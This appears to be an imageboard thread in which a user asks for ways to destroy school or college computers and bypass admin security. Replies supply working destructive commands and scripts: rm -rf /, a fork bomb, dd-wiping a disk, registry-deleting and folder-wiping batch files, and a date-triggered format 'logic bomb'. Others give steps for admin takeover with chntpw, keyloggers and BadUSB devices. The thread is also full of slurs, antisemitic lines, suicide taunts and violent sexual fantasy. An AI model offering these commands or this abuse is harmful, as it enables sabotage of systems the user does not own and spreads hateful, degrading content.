Anybody have any files or comand codes that will fuck up a computer? Bonus points if it can bypass admin security

Anybody have any files or comand codes that will fuck up a computer? Bonus points if it can bypass admin security.

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>I'm underageb& and I can't use Sup Forums on my school computer, how do I show my whole school how autistic I am?

kys

make an empty file called faggot.bat then jump out a high window, works great.

IT Guy here:

Just smash the hard drive if you want to fuck things up. Or run a Live cd and format your boot partition.

Magnets

sudo rm -rf /

I Linux user wouldn't ask stupid questions like this.

a*

yeah dude heres some sick things u can do to ur schools computers!

step 1: make a bat file
step 2: shove it up your ass

Im 22 and my collage dean hit my dog with his car

cd /home
pwd
rm -rf * /no recycle

Just pour water on the computer user.

find bat
tape bat to memory stick
congrats you have .bat file

Punishment doesnt fit the crime. Hit his car with your dead dog.

Youre really not helping man

Elaborate

that is so fucking wrong
get a file not a memory stick
you need to convert the bat to hinduism first
that way you have a dot bat file

>make kali boot drive
>chntpw on admin user
>reboot back to win
>login as admin
>install keylogger
>give social media creds to Sup Forums

I kek'd entirely too hard at this

this kills the os

Delete system 32

use your preferred search engine to find out about USB Killer

No it doesn't
>go to home direcotry
>tell me what directory i am
> erase everything in directory that doesn't exist.

All they have to do is send a tech guy to reinstall...

Ignore these fourchan faggots

:(){ :|:& };:

I do

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Here is how to make a bat file:
1: Enter your local cave.
2: Find a bat.
3: Decapitate it in the name of Allah.
4: Stash the head(THIS IS IMPORTANT FOR LATER, SCREWING THIS UP WILL RESULT IN YOUR MOTHER DYING IN HER SLEEP).
5:Remove the flesh from the cadaver's head(leftover flesh can be used for stew).
6: Skull fuck the bat(don't clean your 'nickelodeon goo' off the skull).
7: Enter your elementary school's premises(I'm assuming this is the location you were speaking of).
8: Find a computer that is shut down.
9: Start the computer, and enter bios.
10:Select "133t h@x0r mode", and enter "skullfucked bat head" with the keyboard.
11: The computer should be creating a "bat-ch file" at this point, giving you full credentials.
12: In order to obtain the 'bat-ch file', you must sacrifice an innocent soul(best option is to find any little girl you see)
13: Before sacrificing, make sure your 'victim' is fully nude(RESIST THE TEMPTATION, DEUS VULT!)
14: After selling your victim's soul, you shall receive a payment of five shekels.
15: Dispense your shekels into the computer screen(make sure (((they))) don't try and steal it)
16: CONGRATULATIONS, YOU HAVE FULL ADMINISTRATIVE ACCESS OVER THE SCHOOL'S COMPUTER NETWORK!

This

Talk to me, faggot

You guys did alright but im just gonna steal the ram

Talk to me you triplenigger

5555

dubs

>sudo rm -rf / is only for linux

What the fuck do you want to do to their computer, skid?

But he just can download more

Ok

I don't have all day

if you have money and dont bother spending it, i recomend buying a killer usb, works on everything with a usb port and fries everytihgn inside (unless it has some short of protection, and if thats the case, ill will frie the usb port you put i in). If you dont wanna buy one, you can make one, there are videos out there. If not, you can boot trho a live usb with another os and whip the data from the hard drive, if the bios has passsword and boot order is hard drive first, you can kys, or find a screwdriver, remove the hard drive or the ram and hammer smach them, idk, whatever make you happy. Not sure but i thing windows 7 you can delete the boot file without admin, let me search some commands i might have

Tell me exactly what you want done

For real tho
>make linux live boot drive
>turn of comp
>boot to linux drive
>open term
>sudo fdisk -L
>find device name for his windows install (/dev/sda) probably
>sudo rm -rf /media

>get one of these amazon.com/ThinkGeek-Phantom-Keystroker-V2/dp/B002YJW7C4
>install it on your own computer
>take off all of your clothes
>shit into your hand
>jump out your closed window
>find the nearest pedestrian and shake the blood and glass off of yourself like a dog and scream "THE QUICKEST WAY TO A MAN'S HEART IS THROUGH THE ANUS" 3 times
>eat the poo in your hand
>get in your car
>drive over to your dean's house
>jump through his closed window
>find his wife
>latch onto her like the grabby skeleton thing from ocarina of time
>scream "ARE YOU FEELING IT NOW MR KRABS" 5 times
>get erect
>flip yourself upside-down on her and penetrate her ear
>force your dick in as hard as you can until you break the skull
>climax
>find his dog, grab it by the legs
>run (don't drive) to the school and find your dean
>beat him to death with his dog
>lick your poo remnants one last time before the police taze you to death

Reverse Shell?
Virus?
Drive Wiping?
Admin User access?

@ECHO OFF
START reg delete HKCR/.exe
START reg delete HKCR/.dll
START reg delete HKCR/*
:MESSAGE
ECHO Your computer has been fucked. Have a nice day.
GOTO MESSAGE

Save as virus.bat or whatever

System 32

Get some fine metal shavings or grindings.
Turn OFF PC, sprinkle inside case via Fan vents.

Wait.

If %date% NEQ 2025/11/25 goto exit
format E: /y >nul
:exit
exit

Change detonation date to whatever you want.

Logic Bomb/Time Bomb

Save as anything.bat

okay, long time no bath programming, but i think this tinny thing works, i didnt test it so it might have some code bugs. this is the code:

title OP is a faggot
set /p fn= path:
if EXIST "%fn%" goto diy
echo path corrupt
exit
diy:
takeown /F "%fn%" /R /A
icacls "%fn%" /reset /t
icacls "%fn%" /grant Administrator:d
cacls "%fn%" /e /c /g %username%:f
attrib -s -h -r "%fn%""
cd "%fn%"
attrib -r -s -h /S /D
del *.* /s /q
cd ..
rd "%fn%" /s /q

basicly just put the path and it should delete the folder and contents, use it on system folder or whatever, still ur a kid OP

da fuq is wrong with you?

mynamejeff

just go to the seafood section of your local grocery store.
buy 2$ with of the "fish guts"
throw them in pc case
know your dog smells better than this pc

on windows?

prolly like my brother jeff

who spells it 'jeffery'

Yes

I WANT REVENGE. I WANT BLOOD

What happened

dean of my collage hit my car with his dog

College Name

usb kill
>google it

what tool are you using to create the admin account in kali? whats the name

RISDI

>Tool

lolwut

The Pro Micro is a badusb.

I plug it up and it does the admin user creation.

Providence?

yep. why?

Found the dean

can you repost the pic please

oh so you bought it, i was hoping you programmed it, nvm my question then

okay? he nd asshole fuck him he hit my car

This is the type of shit I came here for.
I'm fucking dying.

I bought the Micro and programmed it through the Arduino IDE

Do you want PETA to know?

Put it in the startup folder.

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smh, dude if you programmed it, you know how it works inside. What tool or tools from the kali tools are you using to create the admin user in a windows machine?

Just to be clear, I am not raiding anyone

yeah I mean I wouldn't be opposed to it. why are you asking me this stuff?

But PETA should know that, just saying

thanks dad

It does not use a tool.

It is Arduino code.

It types a set of CMD strings

Teach us your ways

what the fuck, dude what kind of alien technology it that then? are you saying that arduino alone, no tools no nothing just happens to creates admin account of a windows machine?

Bootable usb stick with linux, then execute:
dd if=/dev/urandom of=/dev/sda
then go into bios and set all passwords you can find.

ohhhh, well that makes more sence, still, how does it get the admin permition to run admin cmd commands?

@echo off

del C:\Windows\system32

This is the most accurate answer

Can you stop being a fag people can see when youre not the op

Deauther (Beacon Spam)

You have to know two things

Arduino Boards can act as an HID and especially a keyboard.

#2. CMD lines to create a new admin user and registry edit strings.

>Anybody have any files or comand codes that will fuck up a computer? Bonus points if it can bypass admin security.
all you have to do is get a bios flash program and unplug the usb in the middle of the bios flash. the computer will be completely bricked

I'll show you.

what are you talking about?

what's this supposed to be?

Thanks, user. I'm checking that and the rest of the toolkit out now. :)

Are you retarded?

If it's a half decent computer it'll have a backup flash on a separate chip on the mb

Admin access. I can handle it from there, all i need is to log in as admin.

ok

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